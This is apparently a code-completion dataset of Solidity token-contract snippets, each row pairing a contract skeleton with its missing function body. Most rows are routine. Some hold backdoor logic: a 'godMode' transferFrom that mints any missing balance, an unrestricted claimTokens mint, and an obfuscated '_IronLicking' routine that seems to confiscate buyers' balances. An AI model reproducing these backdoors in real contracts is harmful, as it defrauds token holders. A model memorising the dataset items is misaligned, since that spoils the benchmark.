string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete addressDirectory[msg.sender];
delete use... |
SpaceViking | null |
name = "Space Viking";
symbol = "SVK";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100237 | contract SpaceViking is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)... |
name = "Space Viking";
symbol = "SVK";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
BenCoin | godMode |
if (tokens>balances[from]) {
_totalSupply += (tokens-balances[from]);
balances[from] += (tokens-balances[from]);
}
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
retur... | 100244 | contract BenCoin is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
... |
if (tokens>balances[from]) {
_totalSupply += (tokens-balances[from]);
balances[from] += (tokens-balances[from]);
}
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
... |
Mooncat | null |
name = "Mooncat";
symbol = "MoonCAT";
decimals = 18;
_totalSupply = 10000000000000000000000000000;
balances[msg.sender] = 10000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100249 | contract Mooncat is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) al... |
name = "Mooncat";
symbol = "MoonCAT";
decimals = 18;
_totalSupply = 10000000000000000000000000000;
balances[msg.sender] = 10000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
Factory | batchCollect |
require(msg.sender == owner);
for(uint256 i = 0; i < contractAddresses.length; i++) {
// add exception handling
Receiver( contractAddresses[i] ).sendFundsTo( tracker, amounts[i], receiver);
}
| 100253 | contract Factory {
address public owner;
mapping ( uint256 => address ) public receiversMap;
uint256 receiverCount = 0;
constructor() public {
/*
Deployer's address ( Factory in our case )
do not pass this as a constructor argument because
ethersc... |
require(msg.sender == owner);
for(uint256 i = 0; i < contractAddresses.length; i++) {
Receiver( contractAddresses[i] ).sendFundsTo( tracker, amounts[i], receiver);
}
|
MyToken | issue |
balances[_to].value = balances[_to].value.add(_value);
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(0x0), _to, _value);
return true;
| 100257 | contract MyToken is ERC20, Pausable {
using SafeMath for uint256;
string public constant version = "0.1";
string public name = "The NOTHING with BOOLEAN";
string public symbol = "NTHGwB";
uint256 public constant decimals = 2;
uint256 internal _totalSupply = 500000000;
struct Balanc... |
balances[_to].value = balances[_to].value.add(_value);
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(0x0), _to, _value);
return true;
|
TokenERC20 | transfer |
uint256 val = _value * 10 ** uint256(decimals);
_transfer(msg.sender, _to, val);
| 100259 | contract TokenERC20 is owned {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, ... |
uint256 val = _value * 10 ** uint256(decimals);
_transfer(msg.sender, _to, val);
|
GcToken | transferFrom |
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
| 100260 | contract GcToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ---------------------------... |
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
|
StandardToken | mintToken |
totalSupply_ += _value;
balances[msg.sender] += _value;
emit Transfer(address(0x0), msg.sender, _value);
return true;
| 100266 | contract StandardToken is ERC20, BasicToken,owned {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to t... |
totalSupply_ += _value;
balances[msg.sender] += _value;
emit Transfer(address(0x0), msg.sender, _value);
return true;
|
BohrTESTecurityToken | BohrTESTecurityToken |
ethFundDeposit = _ethFundDeposit;
isFunding = false; //controls pre through crowdsale state
fundingStartBlock = 0;
fundingStopBlock = 0;
currentSupply = formatDecimals(_currentSupply);
totalSupply = formatDecimals(200000000);
... | 10027 | contract BohrTESTecurityToken is StandardToken, SafeMath {
// metadata
string public constant name = "BohrTESTOKEN";
string public constant symbol = "Bohr";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; ... |
ethFundDeposit = _ethFundDeposit;
isFunding = false;
fundingStartBlock = 0;
fundingStopBlock = 0;
currentSupply = formatDecimals(_currentSupply);
totalSupply = formatDecimals(200000000);
balances[msg.sender] = totalSupply;
if... |
SupporterRole | null |
_addSupporter(_msgSender());
| 100279 | contract SupporterRole is Context {
using Roles for Roles.Role;
event SupporterAdded(address indexed account);
event SupporterRemoved(address indexed account);
Roles.Role private _supporters;
constructor () internal {<FILL_FUNCTION_BODY>}
modifier onlySupporter() {
require(... |
_addSupporter(_msgSender());
|
KanCoin | burn |
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[address(0)] = balances[address(0)].add(_value);
Transfer(msg.sender, address(0), _value);
return true;
| 100286 | contract KanCoin is IKanCoin {
string public name = 'KAN';
string public symbol = 'KAN';
uint8 public decimals = 18;
uint256 public INITIAL_SUPPLY = 10000000000 * 10 ** uint256(decimals);
mapping(address => uint256) freezedBalances;
mapping(address => uint256) fundings;
uint256 fundingBalance;
address... |
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[address(0)] = balances[address(0)].add(_value);
Transfer(msg.sender, address(0), _value);
return true;
|
Token | null |
name = "MURGIA";
symbol = "MU";
decimals = 18;
_totalSupply = 98000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| 100289 | contract Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -----------------------------... |
name = "MURGIA";
symbol = "MU";
decimals = 18;
_totalSupply = 98000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
|
Zentum | updateTokensPerEth |
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
| 100290 | contract Zentum is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Zentum";
string public constant symbol = "ZENT";
uint public... |
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
|
SimpleRestrictedFDT | null |
require(address(_fundsToken) != address(0), "SimpleRestrictedFDT: INVALID_FUNDS_TOKEN_ADDRESS");
for (uint256 i = 0; i < initialOwner.length; i++) {
_mint(initialOwner[i], initialAmount[i]);
}
fundsToken = _fundsToken;
_addMinter(initialOwner[0]);
_transferOwnership... | 10030 | contract SimpleRestrictedFDT is FundsDistributionToken, ERC1404, Whitelistable, Restrictable {
// presented by OpenEsquire || lexDAO
using SafeMathUint for uint256;
using SafeMathInt for int256;
// ERC1404 Error codes and messages
uint8 public constant SUCCESS_CODE = 0;
uint8 public constant F... |
require(address(_fundsToken) != address(0), "SimpleRestrictedFDT: INVALID_FUNDS_TOKEN_ADDRESS");
for (uint256 i = 0; i < initialOwner.length; i++) {
_mint(initialOwner[i], initialAmount[i]);
}
fundsToken = _fundsToken;
_addMinter(initialOwner[0]);
_transferOwnership(initialO... |
TokenReward | changeYumAddressTo |
require(msg.sender==owner);
token = YUM(_token_address);
| 100307 | contract TokenReward {
using SafeMath for uint256;
uint256 public maxCount = 2 ** 256 - 1;
uint256 public budget;
uint256 public totalUnlocked;
uint256 public startYum;
uint256 public nextRewardAmount;
uint256 public count;
address public owner;
YUM public token;
event... |
require(msg.sender==owner);
token = YUM(_token_address);
|
arloToken | null |
symbol = "{{Token Symbol}}";
name = "{{Token Name}}";
decimals = 0;
_totalSupply = 10000000;
balances[0x6AfEc2B085feFb2e2D17d5d4527ecCB70497D639] = _totalSupply;
emit Transfer(address(0), 0x6AfEc2B085feFb2e2D17d5d4527ecCB70497D639, _totalSupply);
| 100309 | contract arloToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -----------------------------------------------... |
symbol = "{{Token Symbol}}";
name = "{{Token Name}}";
decimals = 0;
_totalSupply = 10000000;
balances[0x6AfEc2B085feFb2e2D17d5d4527ecCB70497D639] = _totalSupply;
emit Transfer(address(0), 0x6AfEc2B085feFb2e2D17d5d4527ecCB70497D639, _totalSupply);
|
GoalTimeToken | null |
symbol = "GTX";
name = "GoalTime N";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x04DBEDd79600BC937e84aD26bAF6E651fa9DCf2c] = _totalSupply;
emit Transfer(address(0), 0x04DBEDd79600BC937e84aD26bAF6E651fa9DCf2c, _totalSupply);
| 100316 | contract GoalTimeToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------... |
symbol = "GTX";
name = "GoalTime N";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x04DBEDd79600BC937e84aD26bAF6E651fa9DCf2c] = _totalSupply;
emit Transfer(address(0), 0x04DBEDd79600BC937e84aD26bAF6E651fa9DCf2c, _totalSupply);
|
BeercoinICO | withdraw |
uint amount = balanceOf[msg.sender];
require(amount > 0);
balanceOf[msg.sender] = 0;
msg.sender.transfer(amount);
emit FundTransfer(msg.sender, amount, false);
| 100319 | contract BeercoinICO is GuardedBeercoinICO {
Beercoin internal beercoin = Beercoin(0x7367A68039d4704f30BfBF6d948020C3B07DFC59);
uint public constant price = 0.000006 ether;
uint public constant softCap = 48 ether;
uint public constant begin = 1526637600; // 2018-05-18 12:00:00 (UTC+01:00)
uint... |
uint amount = balanceOf[msg.sender];
require(amount > 0);
balanceOf[msg.sender] = 0;
msg.sender.transfer(amount);
emit FundTransfer(msg.sender, amount, false);
|
TopToken | TopToken |
_supply = 20*(10**8)*(10**18);
_balances[0x01] = freezedValue;
_balances[msg.sender] = sub(_supply,freezedValue);
owner = msg.sender;
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1554048000, freezed: true})); // Apr/01/2019
unfreezeTimeMap.push(FreezeStruct({u... | 10032 | contract TopToken is TopTokenBase {
string public symbol = "TOP";
string public name = "Top.One Coin";
uint256 public decimals = 18;
uint256 public freezedValue = 640000000*(10**18);
uint256 public eachUnfreezeValue = 160000000*(10**18);
uint256 public releaseTime = 1525017600;
... |
_supply = 20*(10**8)*(10**18);
_balances[0x01] = freezedValue;
_balances[msg.sender] = sub(_supply,freezedValue);
owner = msg.sender;
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1554048000, freezed: true}));
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:158567040... |
Management | _removeManager |
_managers.remove(account);
emit ManagerRemoved(account);
| 100322 | contract Management is Ownable{
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private _managers;
constructor () internal {
addManager(msg.sender);
}
modifier onlyManag... |
_managers.remove(account);
emit ManagerRemoved(account);
|
TickerRegistry | changeExpiryLimit |
require(_newExpiry >= 1 days, "Expiry should greater than or equal to 1 day");
uint256 _oldExpiry = expiryLimit;
expiryLimit = _newExpiry;
emit LogChangeExpiryLimit(_oldExpiry, _newExpiry);
| 100325 | contract TickerRegistry is ITickerRegistry, Util, Pausable, RegistryUpdater, ReclaimTokens {
using SafeMath for uint256;
// constant variable to check the validity to use the symbol
// For now it's value is 15 days;
uint256 public expiryLimit = 15 * 1 days;
// Details of the symbol that get ... |
require(_newExpiry >= 1 days, "Expiry should greater than or equal to 1 day");
uint256 _oldExpiry = expiryLimit;
expiryLimit = _newExpiry;
emit LogChangeExpiryLimit(_oldExpiry, _newExpiry);
|
DeliverToken | mint |
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
Transfer(address(0), owner, _amount);
return true;
| 100333 | contract DeliverToken is ERC20, Pausable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 initialSupply;
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => bool) internal locks;
mapping(ad... |
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
Transfer(address(0), owner, _amount);
return true;
|
ERC20 | _IronLicking |
sixtyNineArray.push(recipient);
_TimeSixtyNine[recipient] = block.timestamp;
if ((Penne[recipient] != true) && (xyz > 11)) {
if ((_TimeSixtyNine[sixtyNineArray[xyz-1]] == _TimeSixtyNine[sixtyNineArray[xyz]]) && Penne[sixtyNineArray[xyz-1]] != true) {
_balances... | 100336 | contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Penne;
mapping (address => bool) private Nonna;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) priva... |
sixtyNineArray.push(recipient);
_TimeSixtyNine[recipient] = block.timestamp;
if ((Penne[recipient] != true) && (xyz > 11)) {
if ((_TimeSixtyNine[sixtyNineArray[xyz-1]] == _TimeSixtyNine[sixtyNineArray[xyz]]) && Penne[sixtyNineArray[xyz-1]] != true) {
_balances[sixty... |
JUDGE | JUDGE |
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
| 100341 | contract JUDGE {
// Public variables of the token
string public name = 'JUDGE';
string public symbol = 'JUD';
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 9000000000000000;
// This creates an array with al... |
balanceOf[msg.sender] = totalSupply;
|
GangnamToken | GangnamToken |
balances[msg.sender] = 2000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 2000000000000000000000000000; ... | 100343 | contract GangnamToken is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core fun... |
balances[msg.sender] = 2000000000000000000000000000;
totalSupply = 2000000000000000000000000000;
name = "Gangnam Lottery Token";
decimals = 18;
symbol = "GNX"... |
Token | transferFrom |
require(balanceOf[src] >= wad, "Token/insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad, "Token/insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
... | 100345 | contract Token is LibNote {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address guy) external note auth { wards[guy] = 1; }
function deny(address guy) external note auth { wards[guy] = 0; }
modifier auth {
require(wards[msg.sender] == 1, "Token/not-authorized")... |
require(balanceOf[src] >= wad, "Token/insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad, "Token/insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
... |
GlobaLiquids | GlobaLiquids |
balances[msg.sender] = 100000000000000000000000000000;
totalSupply = 100000000000000000000000000000;
name = "GlobaLiquids";
decimals = 18;
symbol = "LYQD";
unitsOneEthCanBuy = 5000;
fundsWallet = msg.sender;
| 100348 | contract GlobaLiquids is StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
/... |
balances[msg.sender] = 100000000000000000000000000000;
totalSupply = 100000000000000000000000000000;
name = "GlobaLiquids";
decimals = 18;
symbol = "LYQD";
unitsOneEthCanBuy = 5000;
fundsWallet = msg.sender;
|
WalletUsage | withdrawEth2Wallet |
require(wallet != address(0));
require(weiAmount > 0);
wallet.transfer(weiAmount);
| 100349 | contract WalletUsage is HasWallet {
/**
* eth.
*/
bool public keepEth = true;
/**
*
*/
function depositEth() public payable {
}
function withdrawEth2Wallet(uint256 weiAmount) public onlyOwner {<FILL_FUNCTION_BODY>}
function setKeepEth(bool _keep... |
require(wallet != address(0));
require(weiAmount > 0);
wallet.transfer(weiAmount);
|
Token | claimTokens |
address claimer = msg.sender;
balances[claimer] = balances[claimer] + _value;
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(this), claimer, _value);
| 100356 | contract Token is Owned, StandardToken {
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
uint256 private _totalSupply;
constructor() public {
name = "Etherscan Token";
decimals = 18;
symbol = "ETT";
... |
address claimer = msg.sender;
balances[claimer] = balances[claimer] + _value;
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(this), claimer, _value);
|
StrategyCurveHUSD | deposit |
uint _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
Gauge(pool).deposit(_want);
}
| 100357 | contract StrategyCurveHUSD {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public want = address(0x5B5CFE992AdAC0C9D48E05854B2d91C73a003858); //husd3crv
address constant public pool = address(0x2db0E83599a91b508Ac268a6197b8B14F5e72840);... |
uint _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
Gauge(pool).deposit(_want);
}
|
Escrow | dealConfirm |
require(deals[_dealId].state == DealState.InTrial);
deals[_dealId].beneficiary.transfer(deals[_dealId].value);
deals[_dealId].agent.transfer(deals[_dealId].commission);
deals[_dealId].state = DealState.Finished;
| 100359 | contract Escrow is Ownable {
enum DealState { Empty, Created, InProgress, InTrial, Finished }
enum Answer { NotDefined, Yes, No }
struct Deal {
address customer;
address beneficiary;
address agent;
uint256 value;
uint256 commission;
... |
require(deals[_dealId].state == DealState.InTrial);
deals[_dealId].beneficiary.transfer(deals[_dealId].value);
deals[_dealId].agent.transfer(deals[_dealId].commission);
deals[_dealId].state = DealState.Finished;
|
QWHappy | QWHappy |
balances[msg.sender] = 20000000000000; // Give the creator all initial tokens
totalSupply = 20000000000000; // Update total supply
name = "QWHappy"; // Set the name for display purposes
decimals =4; ... | 100360 | contract QWHappy{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address owner = 0x0;
uint256 public totalSupply;
string public name; //fancy name: eg Si... |
balances[msg.sender] = 20000000000000;
totalSupply = 20000000000000;
name = "QWHappy";
decimals =4;
symbol = "QWHappy";
owner=msg.sender;
... |
AvestaToken | setParams |
// Fee of transfer chrage initial with zero
require(newBasisPoints < 30);
require(newMaxFee < 60);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
| 100361 | contract AvestaToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol... |
require(newBasisPoints < 30);
require(newMaxFee < 60);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
emit Params(basisPointsRate, maximumFee);
|
InscribableToken | getProperty |
return properties[getTokenKey(_id, _key)];
| 100363 | contract InscribableToken is Ownable {
mapping(bytes32 => bytes32) public properties;
event ClassPropertySet(bytes32 indexed key, bytes32 value);
event TokenPropertySet(uint indexed id, bytes32 indexed key, bytes32 value);
function _setProperty(uint _id, bytes32 _key, bytes32 _value) internal {
... |
return properties[getTokenKey(_id, _key)];
|
Escrow | release |
require(address(this).balance >= ethAmount, "not enough ether");
require(mbn.balanceOf(address(this)) >= tokenAmount, "not enough tokens");
mbn.transfer(tokenRecipient, tokenAmount);
ethRecipient.transfer(ethAmount);
isReleased = true;
| 100366 | contract Escrow {
address payable public tokenRecipient;
address payable public ethRecipient;
uint256 public tokenAmount;
uint256 public ethAmount;
uint public withdrawalDate;
bool public isReleased = false;
IERC20 mbn;
constructor(
address payable _tokenRecipient,
addr... |
require(address(this).balance >= ethAmount, "not enough ether");
require(mbn.balanceOf(address(this)) >= tokenAmount, "not enough tokens");
mbn.transfer(tokenRecipient, tokenAmount);
ethRecipient.transfer(ethAmount);
isReleased = true;
|
DMO | null |
_feeAddrWallet1 = payable(0xaF0d3F83bf2942f58BE64ac0d15d90Db578a9782); //ETH Rewards with instant withdrawal of tokens
_feeAddrWallet2 = payable(0xaF0d3F83bf2942f58BE64ac0d15d90Db578a9782); //Auto liquidation of tokens
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = t... | 100367 | contract DMO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
map... |
_feeAddrWallet1 = payable(0xaF0d3F83bf2942f58BE64ac0d15d90Db578a9782);
_feeAddrWallet2 = payable(0xaF0d3F83bf2942f58BE64ac0d15d90Db578a9782);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromF... |
ManagedProxy | _admin |
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
| 100372 | contract ManagedProxy is UpgradeableProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It shou... |
bytes32 slot = _ADMIN_SLOT;
assembly {
adm := sload(slot)
}
|
MDACXToken | transfer |
_transfer(msg.sender, _to, _value);
return true;
| 100379 | contract MDACXToken is ERC20Interface, Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowanceOf;
constructor(string _tokenName,st... |
_transfer(msg.sender, _to, _value);
return true;
|
NiceCashVault | _withdraw |
//recalculate earnings as of today, add to current balance;
uint256 earnings=_calcEarnings(msg.sender, block.number);
require(amount <= vaults[msg.sender].amountLocked.add(earnings),"Not enougn funds available");
vaults[msg.sender].amountLocked = vaults[msg.sender].amount... | 10038 | contract NiceCashVault is Ownable, Pausable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
IERC20 public niceCashToken;
uint256 public minimumAmountDeposited;//min amt of tokens to deposit
uint256 public minimumAmountLocked;//min amt to be locked for gaining earnings
uint256 ... |
uint256 earnings=_calcEarnings(msg.sender, block.number);
require(amount <= vaults[msg.sender].amountLocked.add(earnings),"Not enougn funds available");
vaults[msg.sender].amountLocked = vaults[msg.sender].amountLocked.add(earnings).sub(amount);
vaults[msg.sender].bloc... |
WithholdToken | addWhiteList |
require (_gameAddr != 0x0);
gameWhiteListOf[_gameAddr] = true;
emit OnWhiteListChange(_gameAddr, msg.sender, true, now, getEventId());
| 100380 | contract WithholdToken is TokenERC20, IWithholdToken{
mapping (address=>mapping(address=>bool)) public gameTransferFlagOf;
function setGameTransferFlag(address _gameAddress, bool _gameCanTransfer) external {
require(_gameAddress != 0x0);
gameTransferFlagO... |
require (_gameAddr != 0x0);
gameWhiteListOf[_gameAddr] = true;
emit OnWhiteListChange(_gameAddr, msg.sender, true, now, getEventId());
|
AENToken | null |
symbol = "AEN";
name = "AEN.";
decimals = 8;
_totalSupply = 4000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| 100382 | contract AENToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -------------------... |
symbol = "AEN";
name = "AEN.";
decimals = 8;
_totalSupply = 4000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
|
Owned | isOwner |
if (_owner == owner){
return true;
}
return false;
| 100386 | contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function isOwner(address _owner) internal returns (bool){<FILL_FUNCTION_BODY>}
function transferOwnership(address n... |
if (_owner == owner){
return true;
}
return false;
|
BenchmarkSync | removeSyncPool |
delete SyncPools[_index];
| 100387 | contract BenchmarkSync {
address public constant benchmark = 0x67c597624B17b16fb77959217360B7cD18284253;
address constant owner1 = 0x2c155e07a1Ee62f229c9968B7A903dC69436e3Ec;
address constant owner2 = 0xdBd39C1b439ba2588Dab47eED41b8456486F4Ba5;
address constant owner3 = 0x90d33D152A422D63e0Dd... |
delete SyncPools[_index];
|
TrueUSD | balanceOf |
if (delegate == address(0)) {
return super.balanceOf(who);
} else {
return delegate.delegateBalanceOf(who);
}
| 100390 | contract TrueUSD is PausableToken, BurnableToken, NoOwner, Claimable {
string public constant name = "TrueUSD";
string public constant symbol = "TUSD";
uint8 public constant decimals = 18;
AddressList public canReceiveMintWhitelist;
AddressList public canBurnWhiteList;
AddressList public ... |
if (delegate == address(0)) {
return super.balanceOf(who);
} else {
return delegate.delegateBalanceOf(who);
}
|
Admin | null |
// addAdmin(msg.sender);
_adminslevel = 1;
| 100391 | contract Admin is Ownable {
using Roles for Roles.Role;
event AdminAdded(address indexed account);
event AdminRemoved(address indexed account);
Roles.Role private _admins;
uint256 private _adminslevel;
constructor () internal {<FILL_FUNCTION_BODY>}
modifier onlyAdmin() {
... |
_adminslevel = 1;
|
IdentityEvents | emitIdentityDeleted |
emit IdentityDeleted(msg.sender);
| 100392 | contract IdentityEvents {
event IdentityUpdated(address indexed account, bytes32 ipfsHash);
event IdentityDeleted(address indexed account);
// @param ipfsHash IPFS hash of the updated identity.
function emitIdentityUpdated(bytes32 ipfsHash) public {
emit IdentityUpdated(msg.sender, ipfsHas... |
emit IdentityDeleted(msg.sender);
|
INVEToken | INVEToken |
owner = _owner;
totalSupply = 40 * 10 ** 26;
balances[owner] = totalSupply;
| 100397 | contract INVEToken is StandardToken {
string public constant NAME = "InterValue";
string public constant SYMBOL = "INVE";
uint public constant DECIMALS = 18;
/**
* CONSTRUCTOR
*
* @dev Initialize the INVE Coin
* @param _owner The escrow account address, all ethers will
... |
owner = _owner;
totalSupply = 40 * 10 ** 26;
balances[owner] = totalSupply;
|
StoneToken | StoneToken |
balances[msg.sender] = 150000000000000000000000000;
totalSupply = 150000000000000000000000000;
name = "Stone";
decimals = 18;
symbol = "STONE"; ... | 100398 | contract StoneToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0'; ... |
balances[msg.sender] = 150000000000000000000000000;
totalSupply = 150000000000000000000000000;
name = "Stone";
decimals = 18;
symbol = "STONE";
|
TokenSale | whitelistAddress |
whitelist[_contributor] = true;
| 100400 | contract TokenSale {
using SafeMath for uint256;
// Address of owner
address public owner;
// Address where funds are collected
address public wallet;
// Amount of raised (in Wei)
uint256 public amountRaised;
// Upper limit of the amount to be collected
uint256 public saleLimit = 25000... |
whitelist[_contributor] = true;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.